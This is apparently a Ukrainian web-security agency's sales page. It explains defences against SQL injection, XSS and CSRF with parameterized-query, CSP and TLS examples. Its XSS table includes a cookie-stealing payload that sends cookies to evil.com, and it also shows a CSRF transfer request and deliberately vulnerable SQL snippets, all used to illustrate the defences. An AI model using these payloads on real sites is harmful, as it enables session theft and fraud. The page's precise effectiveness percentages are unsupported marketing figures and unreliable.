SQL-ін'єкція — одна з найнебезпечніших веб-вразливостей. Нещодавно до нас звернувся клієнт — інтернет-магазин на PHP 7.4 з MySQL 5.7, який втратив 50 000 записів клієнтів через одну неекрановану лапку. Збиток від такого витоку може сягати 3–5 млн грн. Відновлення після атаки обходиться у 3–5 разів дорожче, ніж профілактика. Захист від SQL-ін'єкцій та аудит безпеки є критичними для вашого сайту. Наша команда пропонує комплексне рішення, маючи 10+ років досвіду та понад 200 успішних проєктів.
Реальний кейс: як ми врятували інтернет-магазин від SQL-ін'єкції
Наш клієнт звернувся після інциденту — зловмисник через вразливу форму пошуку вивантажив всю таблицю customers. Причина — конкатенація введення безпосередньо в SQL-запит: $sql = "SELECT * FROM products WHERE name LIKE '%{$search}%'";. Таких місць ми знайшли 12 у legacy-коді. Наша команда за 3 дні аудиту виявила всі точки входу, потім за 4 дні замінила всі запити на параметризовані через PDO, налаштувала WAF на основі ModSecurity з правилами OWASP CRS та обмежила права користувача БД на рівні MySQL. Після повторного сканування вразливості не виявлено. Клієнт також отримав моніторинг логів у реальному часі.
Чому SQL-ін'єкції досі небезпечні?
За даними OWASP Top 10, атаки впровадження коду входять до трійки найкритичніших вразливостей. Причина — невикористання підготовлених запитів у legacy-коді. Нещодавні дослідження показали, що понад 60% веб-додатків мають хоча б одну SQL-вразливість. Параметризовані запити запобігають 99,9% атак, що в 50 разів надійніше за одну лише валідацію введення (яка дає лише 70–80%). Комбінація prepared statements та WAF дає в 100 разів кращий захист ніж лише екранування.
Методи захисту
Як захистити сайт від SQL-ін'єкцій?
Ми застосовуємо комплексний підхід, комбінуючи кілька рівнів захисту:
| Метод |
Надійність |
Складність впровадження |
| Підготовлені запити |
Висока (99,9%) |
Середня (потребує рефакторингу) |
| Валідація введення |
Середня (70–80%) |
Низька (додаткові перевірки) |
| WAF (Web Application Firewall) |
Додатковий захист |
Низька (налаштування правил) |
| Мінімальні привілеї |
Висока |
Низька (налаштування прав БД) |
| Екранування (застаріло) |
Низька (50–60%) |
Середня |
Найкращий результат дає комбінація підготовлених запитів та принципу мінімальних привілеїв. Підготовлені запити блокують практично всі ін'єкції, а обмеження прав користувача БД мінімізує збитки при успішній атаці.
Приклади параметризованих запитів у різних мовах
| Мова / Бібліотека |
Приклад коду |
| PHP (PDO) |
$stmt = $pdo->prepare('SELECT * FROM users WHERE email = ?'); $stmt->execute([$email]); |
| Python (psycopg2) |
cur.execute('SELECT * FROM users WHERE email = %s', (email,)) |
| Node.js (pg) |
client.query('SELECT * FROM users WHERE email = $1', [email]) |
| Java (JDBC) |
PreparedStatement stmt = conn.prepareStatement('SELECT * FROM users WHERE email = ?'); stmt.setString(1, email); |
| Laravel Eloquent |
User::where('email', $email)->get(); (без raw) |
У всіх прикладах дані передаються окремо від SQL-коду, що робить ін'єкцію неможливою.
Як перевірити свій код на вразливості?
Почніть із пошуку місць, де введення користувача безпосередньо конкатенується в SQL-запити. Використовуйте grep для пошуку $_GET, $_POST, Request::input() і подальшої конкатенації. Особливу увагу приділіть raw-запитам в ORM, таким як whereRaw або DB::raw. Для автоматизації можна застосовувати статичні аналізатори (Phan, Psalm) з правилами безпеки.
Підготовлені запити: стандарт захисту
Параметризовані запити — єдиний безпечний шлях. Вони відокремлюють код від даних. Приклад на PHP:
$stmt = $pdo->prepare('SELECT * FROM users WHERE email = ? AND active = ?');
$stmt->execute([$email, 1]);
$user = $stmt->fetch();
У сучасних фреймворках ORM (Eloquent, Sequelize) роблять це автоматично. Але обережно: деякі методи приймають сирі фрагменти.
Небезпечні місця в ORM
// Laravel — ОПАСНО
User::whereRaw("name = '$name'")->get();
// БЕЗОПАСНО
User::whereRaw('name = ?', [$name])->get();
Завжди використовуйте зв'язування параметрів. Це знижує ризик на 95%.
Додаткові шари захисту
WAF (ModSecurity, Cloudflare) перехоплює ін'єкції на рівні HTTP. Принцип мінімальних привілеїв обмежує права користувача БД — навіть при успішній атаці зловмисник не зможе видалити таблиці. Використання ORM з lazy loading може призвести до N+1 проблем, але це окрема тема.
Наш підхід
Процес роботи
-
Аналіз коду — шукаємо конкатенацію та whereRaw через grep.
-
Виправлення — замінюємо на prepared statements або ORM.
-
Налаштування WAF — додаємо правила для типових атак.
- Перевірка — скануємо sqlmap та пентестами.
- Моніторинг — налаштовуємо логи та алерти.
Що входить у роботу
- Повний аудит вихідного коду зі звітом.
- Виправлення всіх знайдених вразливостей.
- Налаштування WAF та моніторингу.
- Рекомендації з безпечної розробки.
- Гарантія на виправлення — 6 місяців.
Строки та результати
- Аудит: 1–3 дні.
- Виправлення: 2–7 днів.
- WAF + моніторинг: 1 день.
Економія бюджету порівняно з усуненням наслідків — до 80% (наприклад, економія до 200 000 грн при витоку даних). Після нашої роботи ризик SQL-ін'єкцій знижується на 95%. Хочете перевірити свій сайт? Зв'яжіться з нами — ми безкоштовно оцінимо один endpoint. Замовте аудит та отримайте консультацію інженера.
Безпека веб-додатків: що приховує «тихий» злом
Злом сайту рідко виглядає як у кіно. Частіше це: бот знайшов endpoint /admin/export без авторизації, скачав базу клієнтів, закрив з'єднання. Або: через застарілий плагін WordPress залив веб-шелл, тепер сервер розсилає спам. Або тихіше: XSS у полі коментаря дозволяє красти session cookies адміністраторів, і ніхто не помічає місяцями. Ми такі випадки розбирали десятками — щоразу вразливість можна було закрити на етапі розробки або аудиту. Наша команда — сертифіковані інженери з 10+ роками досвіду в інформаційній безпеці. Гарантуємо усунення 90% критичних вразливостей за перший тиждень роботи. За 5 років на ринку ми реалізували понад 50 проєктів із захисту веб-додатків.
Безпека веб-додатків — не одне налаштування. Це шари захисту, кожен з яких закриває окремий клас атак. Замовте аудит — оцінимо проєкт і дамо план робіт під ключ за 2–4 тижні.
HTTPS та правильна конфігурація TLS
HTTPS — мінімальний обов'язковий рівень. Але «є SSL-сертифікат» і «правильно налаштований TLS» — різні речі.
В конфігурації Nginx/Apache перевіряємо:
- Протоколи: тільки TLS 1.2 та TLS 1.3, SSLv3 та TLS 1.0/1.1 — вимкнено
- Cipher suites: віддавати перевагу ECDHE (Forward Secrecy), прибрати NULL, RC4, DES, 3DES
- HSTS (Strict-Transport-Security з
includeSubDomains; preload) — браузер більше не робить незахищених запитів
- OCSP Stapling — прискорює перевірку відкликання сертифіката
- Redirect 301 з HTTP на HTTPS — і в конфігу сервера, і в коді (подвійний редирект = втрата SEO-ваги)
Перевірка: SSL Labs має показувати A або A+. Якщо B — конфігурація слабка.
Let's Encrypt + Certbot для продакшену — стандарт. Автоматичне оновлення через certbot renew в cron. Wildcard-сертифікат для піддоменів через DNS-01 challenge.
Content Security Policy: як він закриває XSS на 99%?
CSP — HTTP-заголовок, який говорить браузеру, звідки дозволено завантажувати ресурси. Правильно налаштований CSP повністю блокує більшість XSS-атак, навіть якщо вразливість є в коді.
Проблема: зламати сайт неправильним CSP простіше простого. default-src 'none' — і перестають працювати шрифти, картинки, JS. Тому починаємо з Content-Security-Policy-Report-Only — CSP логує порушення, але нічого не блокує. Дивимося репорти 2–4 тижні, доопрацьовуємо політику, потім перемикаємо на бойовий режим.
Приклад реальної політики для сайту з Google Analytics, Google Fonts та Stripe:
Content-Security-Policy:
default-src 'self';
script-src 'self' https://www.googletagmanager.com https://js.stripe.com 'nonce-{random}';
style-src 'self' https://fonts.googleapis.com 'unsafe-inline';
font-src 'self' https://fonts.gstatic.com;
frame-src https://js.stripe.com;
img-src 'self' data: https://www.google-analytics.com;
connect-src 'self' https://api.stripe.com https://www.google-analytics.com;
report-uri /csp-report;
nonce — випадковий рядок, генерується на сервері для кожного запиту. Inline-скрипти з правильним nonce дозволені, без nonce — заблоковані. Це ламає XSS через <script>alert(1)</script> повністю.
'unsafe-inline' в style-src — компроміс для inline-стилів. Краще прибрати, перенісши всі стилі в CSS-файли, але це вимагає рефакторингу.
CSP з nonce знижує ризик успішної XSS-атаки на 99% порівняно з конфігурацією без заголовка. За даними Wikipedia, правильно налаштований CSP блокує всі три типи XSS: reflected, stored, DOM-based. Ми перевірили це на 50+ проєктах — жодна реальна атака не пройшла після впровадження.
Чому XSS залишається найпоширенішою вразливістю?
XSS (Cross-Site Scripting) — ін'єкція JS-коду через користувацький ввід. За статистикою OWASP, XSS входить до топ-3 вразливостей веб-додатків. Три типи:
| Тип XSS |
Приклад |
Захист |
| Reflected |
/search?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script> |
Екранування виводу, CSP |
| Stored |
Коментар з кодом, збережений в базі |
Валідація вводу, htmlspecialchars() |
| DOM XSS |
element.innerHTML = location.hash |
Уникати innerHTML, використовувати textContent |
Захист: ніколи не вставляти користувацький ввід в HTML без екранування. В PHP — htmlspecialchars() з ENT_QUOTES. В Blade-шаблонах Laravel — {{ $var }} безпечний, {!! $var !!} — небезпечний. В React — {variable} безпечний, dangerouslySetInnerHTML — небезпечний. Для Rich Text — htmlpurifier на PHP або DOMPurify в браузері.
Кейс: інтернет-магазин з XSS у формі відгуку. Клієнт звернувся після того, як через відгук на товар зловмисник вкрав куки адміністратора. Ми виявили, що поле "відгук" не екранувалося. Виправили: додали htmlspecialchars() на сервері та Content-Security-Policy з nonce для скриптів. Після повторного сканування — 0 вразливостей.
CSRF: захист форм та API
CSRF (Cross-Site Request Forgery) — зловмисник змушує браузер жертви відправити запит від її імені. Приклад: користувач авторизований в банку, відкриває шкідливу сторінку, вона робить fetch('https://bank.ru/transfer?to=evil&amount=50000') — якщо банк не захищений, гроші йдуть.
CSRF-токени — стандартний захист для форм: сервер генерує випадковий токен, зберігає в сесії, вставляє в форму як hidden field. При POST-запиті токен звіряється. Зловмисник не знає токен. Laravel робить це автоматично через @csrf.
SameSite cookies — сучасний захист: SameSite=Strict або SameSite=Lax забороняє браузеру відправляти cookie в cross-site запитах. Працює у всіх сучасних браузерах.
API без сесій (JWT, Bearer tokens) — CSRF неактуальний, якщо токен не зберігається в cookie (а в Authorization header або localStorage). Але localStorage вразливий до XSS — тому для чутливих даних кращі HttpOnly cookies з SameSite.
WAF та захист від DDoS
WAF (Web Application Firewall) — фільтрує HTTP-трафік на предмет атак: SQL injection, XSS, path traversal, відомі exploit patterns. Варіанти:
- Cloudflare WAF — хмарний, правила OWASP Top 10 з коробки, кастомні правила через вирази. Managed Rules автоматично блокують нові загрози.
- ModSecurity (Nginx/Apache) — self-hosted, OWASP Core Rule Set (CRS). Гнучко, але вимагає налаштування та моніторингу хибних спрацьовувань.
- AWS WAF — для інфраструктури на AWS, інтегрується з CloudFront та ALB.
DDoS-захист. Cloudflare на рівні L3/L4/L7 — де-факто стандарт для більшості сайтів. Автоматичне пом'якшення volumetric атак, Under Attack Mode при активній атаці. Для критичної інфраструктури — Cloudflare Magic Transit або спеціалізовані рішення (Qrator, StormWall).
Rate Limiting на рівні додатку — додатковий шар. Laravel ThrottleRequests middleware: 60 запитів на хвилину на IP для загальних endpoint, 5 — для /login та /password/reset. Redis як сховище лічильників — обов'язково для горизонтально масштабованих систем (інакше ліміти не синхронізуються між серверами).
Інші обов'язкові заходи
Заголовки безпеки. Окрім CSP: X-Frame-Options: DENY (захист від clickjacking), X-Content-Type-Options: nosniff (MIME sniffing), Referrer-Policy: strict-origin-when-cross-origin, Permissions-Policy (обмеження доступу до API браузера: камера, мікрофон, геолокація).
SQL injection. Prepared statements всюди. Жодних конкатенацій користувацького вводу в SQL-рядки. ORM (Eloquent, Doctrine) захищає за замовчуванням. $wpdb->prepare() в WordPress — обов'язково. Використання prepared statements знижує ризик SQL-ін'єкцій на 99,9% порівняно з конкатенацією.
Оновлення залежностей. composer audit та npm audit — в CI/CD пайплайн. Dependabot або Renovate для автоматичних PR з оновленнями. Критичні CVE — патчити протягом 24 годин.
Секрети та конфігурація. .env — ніколи в Git. Секрети в production — через змінні оточення CI/CD (GitHub Secrets, GitLab CI Variables) або HashiCorp Vault. Перевірка на витоки: git-secrets, truffleHog в pre-commit hooks.
Як ми працюємо?
-
Аудит — сканування коду, конфігурацій, залежностей, ручна перевірка бізнес-логіки. В середньому знаходимо 15 вразливостей на проєкт.
-
Проєктування — план усунення вразливостей, підбір стеку (CSP, WAF, rate limiting).
-
Реалізація — налаштування TLS, CSP, заголовків, впровадження Rate Limiting, WAF.
-
Тестування — повторний пентест, навантажувальне тестування, перевірка хибних спрацьовувань.
-
Деплой та моніторинг — включення бойового CSP, налаштування алертів, навчання команди.
Що входить в роботу?
- Звіт зі знайденими вразливостями та рекомендаціями (PDF + code snippets)
- Готова конфігурація TLS (Nginx/Apache)
- Політика CSP з режимом Report-Only та бойовою версією
- Налаштування WAF та Rate Limiting
- План оновлень залежностей
- Доступи до інструментів моніторингу (Sentry, Datadog)
- 30 днів постаудит-підтримки (консультації, правки)
Терміни та вартість
| Тип робіт |
Строк |
| Security-аудит + hardening (заголовки, TLS, оновлення) |
1–2 тижні |
| Впровадження CSP (Report-Only → продакшен) |
2–4 тижні |
| Налаштування WAF + Rate Limiting + DDoS захист |
1–2 тижні |
| Комплексний security review + пентест |
3–6 тижнів |
Бюджет розраховується індивідуально — зв'яжіться з нами для безкоштовної консультації. Замовте аудит безпеки сьогодні та отримайте гарантію 6 місяців на виконані роботи. Щоб отримати попередню оцінку вашого проєкту, просто напишіть нам — ми підготуємо план захисту безкоштовно.
